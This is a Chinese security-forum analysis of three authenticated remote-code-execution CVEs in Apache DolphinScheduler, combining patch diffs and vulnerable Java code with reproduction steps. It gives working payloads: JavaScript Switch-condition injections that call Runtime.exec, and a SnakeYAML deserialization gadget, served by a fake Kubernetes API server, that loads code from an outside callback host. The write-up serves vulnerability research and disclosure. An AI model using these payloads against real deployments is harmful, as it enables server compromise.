Apache DolphinScheduler auth RCE(CVE-2023-49299&CVE-2024-23320&CVE-2023-49109)
1756294074816717 发表于 湖北 漏洞分析 2364浏览 · 2024-03-01 03:59

Apache DolphinScheduler auth RCE(CVE-2023-49299&CVE-2024-23320&CVE-2023-49109)

前置

最近看到Apache DolphinScheduler发了几个auth rce的漏洞。
参考一下漏洞通告分析一波

CVE-2023-49299

首先diff一下3.1.8和3.1.9两个版本的代码,存在一个关键的类SwitchTaskUtils:

这里的evaluate方法可以直接通过js引擎执行传入进来的代码,并且在3.1.9版本新增了一个generateContentWithTaskParams方法。

全局搜索一下SwitchTaskUtils.evaluate方法的调用,在SwitchTaskProcessor类中找到了具体的调用流程:

可以看到在3.1.9版本中,进入evaluate方法的参数content经过了新增的generateContentWithTaskParams方法处理,而原版本是调用当前类的setTaskParams方法进行处理的。

setTaskParams方法的具体代码如下,该方法的逻辑是在全局或者传入的参数中寻找变量的值,然后将传入的content中带有类似${a}形式的字符串,直接将其中的变量a替换成寻找到的字符串。

public String setTaskParams(String content, String rgex) {
        Pattern pattern = Pattern.compile(rgex);
        Matcher m = pattern.matcher(content);
        Map<String, Property> globalParams = (Map)JSONUtils.toList(this.processInstance.getGlobalParams(), Property.class).stream().collect(Collectors.toMap(Property::getProp, (Property) -> {
            return Property;
        }));
        Map<String, Property> varParams = (Map)JSONUtils.toList(this.taskInstance.getVarPool(), Property.class).stream().collect(Collectors.toMap(Property::getProp, (Property) -> {
            return Property;
        }));
        if (varParams.size() > 0) {
            varParams.putAll(globalParams);
            globalParams = varParams;
        }

        while(m.find()) {
            String paramName = m.group(1);
            Property property = (Property)globalParams.get(paramName);
            if (property == null) {
                return "";
            }

            String value = property.getValue();
            if (!NumberUtils.isCreatable(value)) {
                value = "\"" + value + "\"";
            }

            this.logger.info("paramName:{},paramValue:{}", paramName, value);
            content = content.replace("${" + paramName + "}", value);
        }

        return content;
    }

而新增的generateContentWithTaskParams方法如下:

public static String generateContentWithTaskParams(String condition, Map<String, Property> globalParams, Map<String, Property> varParams) {
        String content = condition.replaceAll("'", "\"");
        if (MapUtils.isEmpty(globalParams) && MapUtils.isEmpty(varParams)) {
            throw new IllegalArgumentException("globalParams and varParams are both empty, please check it.");
        } else {
            Map<String, Property> params = Maps.newHashMap();
            if (MapUtils.isNotEmpty(globalParams)) {
                params.putAll(globalParams);
            }

            if (MapUtils.isNotEmpty(varParams)) {
                params.putAll(varParams);
            }

            Pattern pattern = Pattern.compile("['\"]*\\$\\{(.*?)\\}['\"]*");
            Matcher m = pattern.matcher(content);

            while(true) {
                String paramName;
                Property property;
                do {
                    if (!m.find()) {
                        if (content.equals(content)) {
                            throw new IllegalArgumentException("condition is not valid, please check it. condition: " + condition);
                        }

                        return content;
                    }

                    paramName = m.group(1);
                    property = (Property)params.get(paramName);
                } while(property == null);

                String value;
                if (!ParameterUtils.isNumber(property) && !ParameterUtils.isBoolean(property)) {
                    value = "\"" + ParameterUtils.getParameterValue(property) + "\"";
                } else {
                    value = "" + ParameterUtils.getParameterValue(property);
                }

                log.info("paramName:{},paramValue:{}", paramName, value);
                content = content.replace("${" + paramName + "}", value);
            }
        }
    }

大致的处理逻辑和之前的一样,这不过这里新增了一个判断,如果传入的content不满足['\"]*\\$\\{(.*?)\\}['\"]*这个正则,则抛出异常。(这样新增判断修复其实是为了防止直接传入JS代码,但同时也存在另外一个问题,后面再提)

复现流程如下
1、登陆系统之后,在项目管理中新增一个工作流定义

其中存在问题的就是这个Switch标签,其对应的就是SwitchTaskProcessor。
2、创建的内容如下:

条件中输入Payload:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("touch /tmp/rce")};

3、创建成功之后运行即可,会发现命令执行成功,在/tmp临时目录下生成文件:

CVE-2024-23320

现在再来看看3.1.9版本,直接执行会抛出异常,但可以通过其他方式来执行任意的JS代码。前面说到过,generateContentWithTaskParams方法会将类似${a}这种形式的字符串替换调,即在全局或者传入的参数中寻在a变量对应的值,然后将${a}替换成"a对应的值"。

所以这里只需要在传入的变量中将变量a指定成js代码即可,Payload如下:

";var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("touch /tmp/rce")};//

这里闭合一下"然后拼接同样可以达到命令执行的目的:

CVE-2023-49109

官网给出的修复issue:https://github.com/apache/dolphinscheduler/pull/14991

删除了upsertNamespacedResourceToK8s的相关操作,这里yaml.loadAs很容易想到反序列化漏洞,查看3.2.0版本的snakeyaml的版本是1.33,判断存在CVE-2022-1471漏洞。

修复issue中给出了Controller,所以这里主要看下如何构造yamlStr。
createK8sNamespace代码如下:

......
if (!Constants.K8S_LOCAL_TEST_CLUSTER_CODE.equals(k8sNamespaceObj.getClusterCode())) {
                        try {
                            String yamlStr = this.genDefaultResourceYaml(k8sNamespaceObj);
                            this.k8sClientService.upsertNamespaceAndResourceToK8s(k8sNamespaceObj, yamlStr);
                        } catch (Exception var13) {
                            log.error("Namespace create to k8s error", var13);
                            this.putMsg(result, Status.K8S_CLIENT_OPS_ERROR, new Object[]{var13.getMessage()});
                            return result;
                        }
                    }

这里判断了一下,如果不是本地测试用例,就会进入到下面的genDefaultResourceYaml和upsertNamespaceAndResourceToK8s函数中。
genDefaultResourceYaml的代码如下:

private String genDefaultResourceYaml(K8sNamespace k8sNamespace) {
        String name = k8sNamespace.getNamespace();
        String namespace = k8sNamespace.getNamespace();
        String cpuStr = null;
        if (k8sNamespace.getLimitsCpu() != null) {
            cpuStr = k8sNamespace.getLimitsCpu() + "";
        }

        String memoryStr = null;
        if (k8sNamespace.getLimitsMemory() != null) {
            memoryStr = k8sNamespace.getLimitsMemory() + "Gi";
        }

        String result = resourceYaml.replace("${name}", name).replace("${namespace}", namespace);
        if (cpuStr == null) {
            result = result.replace("${limitCpu}", "");
        } else {
            result = result.replace("${limitCpu}", "limits.cpu: '" + cpuStr + "'");
        }

        if (memoryStr == null) {
            result = result.replace("${limitMemory}", "");
        } else {
            result = result.replace("${limitMemory}", "limits.memory: " + memoryStr);
        }

        return result;
    }

也就namespace可控,但是在进入upsertNamespaceAndResourceToK8s方法之后,会有一层判断,如下:

if (!this.checkNamespaceToK8s(k8sNamespace.getNamespace(), k8sNamespace.getClusterCode())) {
            throw new RemotingException(String.format("namespace %s does not exist in k8s cluster, please create namespace in k8s cluster first", k8sNamespace.getNamespace()));
        } else {
            return this.upsertNamespacedResourceToK8s(k8sNamespace, yamlStr);
        }

这离会判断设置的k8s集群中是否存在传入的namespace。正常集群肯定不行,因为想要利用成功,就需要设置namespace为类似!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://dnslog"]]]] 这样的字符串,所以需要伪造一个集群Server端,绕过这里的判断。

复现过程如下:
1、集群配置,将masterUrl指定为伪造的Server端:

apiVersion: v1
clusters:
- cluster:
    server: http://127.0.0.1:5000
  name: kubernetes
contexts:
- context:
    cluster: kubernetes
  name: kubernetes-admin@kubernetes
current-context: kubernetes-admin@kubernetes
kind: Config
preferences: {}
users: []

2、伪造Server端
启动如下Flask脚本:

from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/api/v1/namespaces', methods=['GET'])
def get_namespaces():
    namespaces = {
  "kind": "NamespaceList",
  "apiVersion": "v1",
  "metadata": {
    "selfLink": "/api/v1/namespaces",
    "resourceVersion": "123456"
  },
  "items": [
    {
      "metadata": {
        "name": "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://jifm.callback.red\"]]]]",
        "uid": "9c8b7a6f",
        "creationTimestamp": "2024-02-22T12:00:00Z"
      },
      "spec": {
        "finalizers": []
      },
      "status": {
        "phase": "Active"
      }
    }
  ]
}
    return jsonify(namespaces)

if __name__ == '__main__':
    app.run(debug=True)

设置Namespace为!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://jifm.callback.red"]]]]即可

参考链接

https://seclists.org/oss-sec/2023/q4/347
https://github.com/apache/dolphinscheduler/pull/14991

0 条评论
某人
表情
可输入 255